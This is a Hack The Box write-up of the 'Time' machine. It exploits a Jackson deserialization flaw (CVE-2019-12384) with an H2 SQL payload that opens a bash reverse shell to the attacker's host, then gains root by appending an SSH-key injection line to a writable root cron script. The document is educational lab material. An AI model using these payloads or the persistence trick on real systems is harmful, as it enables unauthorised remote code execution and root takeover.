

TIME

Hey guys mahesh here back again with another writeup and today will be solving the hackthebox machine called as time
So first thing i did was a nmap scan ;

```
root@kali: ~/CTF/htb/time
File Actions Edit View Help
root@kali: ~/CTF/htb/time root@kali: ~/Downloads

# Nmap 7.80 scan initiated Mon Dec 28 21:29:30 2020 as: nmap -A -Pn -oN time.txt 10.10.10.214
Nmap scan report for 10.10.10.214
Host is up (0.61s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/28%OT=22%CT=1%CU=30488%PV=Y%DS=2%DC=T%G=Y%TM=5FEA01
OS:23%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=102%GCD=1%ISR=103%TI=Z%CI=Z%TS=A)OPS(O1=M54BST11NW7%O2=M54BST11NW7%
OS:O3=M54BNTT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=FE88%W2
OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54BNN5
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%0=RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:0=RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%0=RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 392.19 ms 10.10.16.1
2 205.17 ms 10.10.10.214

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 28 21:30:35 2020 -- 1 IP address (1 host up) scanned in 65.25 seconds
root@kali:~/CTF/htb/time#
```

nmap scan and we can see here two open ports : 80 and 22 ;
i check the port 80 doing some directory bruteforcing and nikto scan but didnt find anything interesting , now lets hop over to the website and We see an online json beautifier with two options: "Beautify" or "Validate!(Beta)". Beta features are always fun. Anyway, I intercepted both options in burp and just put the word "test" in the field and submitted.

When you use an invalid option with the second option, you get an error:

Quote:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN

The com.fasterxml.jackson.core looks interesting. Doing a quick google search reveals that there are a few RCEs for this library. The most recent being 2019.

Now, people have been complaining that this is an easy box, which it is, since you can use an exploit someone else wrote on github (<https://github.com/jas502n/CVE-2019-12384>)

now we need to upload "inject.sql" file in webapplication but first lets edit the code how we want (just edit the IP and Port).

Create file 'inject.sql' to host on your http server and insert the following code into it:

```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec
(command).getInputStream()).useDelimiter("\\A");
```

```
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/IP/PORT 0>&1 &')
```

The screenshot shows a Kali Linux terminal window with two tabs: 'root@kali: ~/CTF/htb/time' and 'root@kali: ~/Downloads'. The active tab is the first one. The terminal output shows a Python script running a SimpleHTTPServer on port 8000. In the second tab, the contents of 'inject.sql' are displayed, which is a SQL injection payload designed to spawn a shell via SHELLEXEC.

```
root@kali:~/CTF/htb/time# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

root@kali:~/CTF/htb/time# cat inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws j
ava.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRun
time().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.16.2/800 0>&1 &')
root@kali:~/CTF/htb/time#
```

inject.sql Replace the IP and PORT above with your HTB IP and netcat listener port
 Start your netcat listener
 On the website application, select "Validate (beta!)" and input this:

```
["ch.qos.logback.core.db.DriverManagerConnectionSource",
{"url":"jdbc:h2:mem::TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://IP:PORT/
inject.sql'"}]
```

Replace IP with your HTB IP, and PORT with your server port
 Submit and you should get a shell.

now its time to make our shell a little bit stable so just use following commands to stabilize your shell

```
$python -c "import pty;pty.spawn('/bin/bash')"
```

and we are done !!!!
 by going to the /home/pericles/ we get the user.txt file now its time to get root.txt file ;
 So what i tried is uploading linpeas ;

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~/p...cripts/linPEAS root@kali: ~/Downloads root@kali: ~  
root@kali:~# nc -nlvp 800  
listening on [any] 800 ...  
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.214] 51796  
bash: cannot set terminal process group (-1): Inappropriate ioctl for device  
bash: no job control in this shell  
pericles@time:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"  
python3 -c "import pty;pty.spawn('/bin/bash')"  
pericles@time:/var/www/html$ export TERM=xterm  
export TERM=xterm  
pericles@time:/var/www/html$ cd /  
cd /  
pericles@time:/$ cd home  
cd home  
pericles@time:/home$ cd pericles  
cd pericles  
pericles@time:/home/pericles$ wget http://10.10.16.2:8080/linpeas.sh  
wget http://10.10.16.2:8080/linpeas.sh  
--2020-12-29 17:45:51-- http://10.10.16.2:8080/linpeas.sh  
Connecting to 10.10.16.2:8080... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 298321 (291K) [text/x-sh]  
Saving to: 'linpeas.sh'  
  
linpeas.sh      100%[=====>] 291.33K  89.5KB/s   in 3.3s  
  
2020-12-29 17:45:55 (89.5 KB/s) - 'linpeas.sh' saved [298321/298321]  
  
pericles@time:/home/pericles$ ./linpeas.sh  
./linpeas.sh  
bash: ./linpeas.sh: Permission denied
```

shell and linpeas

upload Aaand we see that root has been accessing this file: "/usr/bin/timer_backup.sh". Which is owned by your user and writeable.

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~/p...cripts/linPEAS root@kali: ~/Downloads root@kali: ~  
pericles 9847 0.0 0.2 194544 9668 ? S 12:52 0:00 \_ /usr/sbin/apache2 -k start  
pericles 10055 0.0 0.3 194816 12884 ? S 12:54 0:00 \_ /usr/sbin/apache2 -k start  
pericles 10742 0.0 0.2 194544 9668 ? S 12:58 0:00 \_ /usr/sbin/apache2 -k start  
pericles 10940 0.0 0.3 194816 12832 ? S 13:00 0:00 \_ /usr/sbin/apache2 -k start  
pericles 11625 0.0 0.3 194816 13116 ? S 13:04 0:00 \_ /usr/sbin/apache2 -k start  
root 938 0.0 0.0 5828 2000 tty1 Ss+ 12:06 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux  
root 942 0.0 0.5 107868 20888 ? Ssl 12:06 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattende  
d-upgrade-shutdown --wait-for-signal  
root 943 0.0 0.1 232700 6904 ? Ssl 12:06 0:00 /usr/lib/policykit-1/polkitd --no-debug  
pericles 54296 0.0 0.1 5172 4444 ? Ss 17:40 0:00 bash -i  
pericles 54379 0.0 0.2 15948 9408 ? S 17:40 0:00 \_ python3 -c import pty;pty.spawn('/bin/bash')  
pericles 54380 0.0 0.1 8368 4760 pts/0 Ss+ 17:40 0:00 \_ /bin/bash  
pericles 54973 0.0 0.1 5172 4456 ? Ss 17:44 0:00 bash -i  
pericles 55034 0.0 0.2 15948 9416 ? S 17:44 0:00 \_ python3 -c import pty;pty.spawn('/bin/bash')  
pericles 55035 0.0 0.1 8368 4800 pts/1 Ss 17:44 0:00 \_ /bin/bash  
pericles 55433 0.2 0.0 3024 2176 pts/1 S+ 17:47 0:00 \_ /bin/sh ./linpeas.sh  
pericles 56090 0.0 0.0 3024 596 pts/1 S+ 17:47 0:00 \_ /bin/sh ./linpeas.sh  
pericles 56103 0.0 0.0 9496 3520 pts/1 R+ 17:47 0:00 | \_ ps faux  
root 56027 0.0 0.0 6972 3400 ? Ss 17:47 0:00 /bin/bash /usr/bin/timer_backup.sh  
root 56042 76.0 0.0 6188 2712 ? R 17:47 0:00 \_ zip -r website.bak.zip /var/www/html  
  
[+] Binary processes permissions  
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes  
-rwxr-xr-x 1 root root 1183448 Feb 25 2020 /bin/bash  
lrwxrwxrwx 1 root root 4 Apr 23 2020 /bin/sh -> dash  
-rwxr-xr-x 1 root root 157776 Apr 22 2020 /lib/systemd/systemd-journald  
-rwxr-xr-x 1 root root 264328 Apr 22 2020 /lib/systemd/systemd-logind  
-rwxr-xr-x 1 root root 2216800 Apr 22 2020 /lib/systemd/systemd-networkd  
-rwxr-xr-x 1 root root 403520 Apr 22 2020 /lib/systemd/systemd-resolved  
-rwxr-xr-x 1 root root 55360 Apr 22 2020 /lib/systemd/systemd-timesyncd
```

linpeas output In your shell, do the command below, but replace SSH_PUB_KEY with your ssh public key

echo "echo SSH_PUB_KEY >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~ root@kali: ~/Downloads root@kali: ~  
pericles@time:/home/pericles$ echo "echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDd1J5facsk9B6ZYJxjRSN8+8aeLIz+Jw3fubwrE@Na0XT6SgwUCgPttUjpPGjn7gPzUNuud9hvIsB7RdKs+e75GDrGcaHYH0wVeZe7w191wymuhAfdAH/1ICJKRSymZnm4SLVoENRSVV3t0f082lSnSsNIOP3wpS+VAhlbiOpChTuoatf6SbdR0soLGSgmUL4rzZ+7Ur7ITakY06gXPAi1faLmSBRvMPNKEaZarG9RGQvQ6k5rwnULQd4ztgaYkVEaX7qejFgQ1sNgJzxdlnU3XmZa1qSi/WciHh22uzXZYQ+6JfNA8WR540ClcPrlCHgRrLVXX7m9Godyycc0640QLRf8ACSNJ00qIvRIwm0mWgG81jWZIsSSrQg7iDmhVfeyxSLdCU522UF+V0KpA2uLxQoMZdMQ596KLfn38qYrjpuKu/cW0BV7iufwcjF5bsVYMB3/vl70zDBTxxW0i3ddzbx784HtXSJlepAqyzCKyqsbqZqGTD35LwxulFw8xE= >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh  
pericles@time:/home/pericles$
```

id_rsa.pub uploading now SSH in as using

ssh -i ~/.ssh/id_rsa root@10.10.10.214

```
root@time: ~  
File Actions Edit View Help  
root@kali: ~/.ssh root@kali: ~/Downloads root@kali: ~ root@time: ~  
root@kali:~/.ssh# ssh -i id_rsa root@10.10.10.214  
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/advantage  
  
System information as of Tue 29 Dec 2020 06:06:53 PM UTC  
  
System load:          0.72  
Usage of /:           21.7% of 29.40GB  
Memory usage:         15%  
Swap usage:           0%  
Processes:            241  
Users logged in:      0  
IPv4 address for ens160: 10.10.10.214  
IPv6 address for ens160: dead:beef::250:56ff:feb9:863  
  
83 updates can be installed immediately.  
0 of these updates are security updates.  
To see these additional updates run: apt list --upgradable  
  
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings  
  
Last login: Tue Dec 29 18:04:37 2020 from 10.10.16.2  
root@time:~# ls  
backup.zip  root.txt  snap  timer_backup.sh  
root@time:~#
```

root shell and enjoy your r00t shell and root.txt !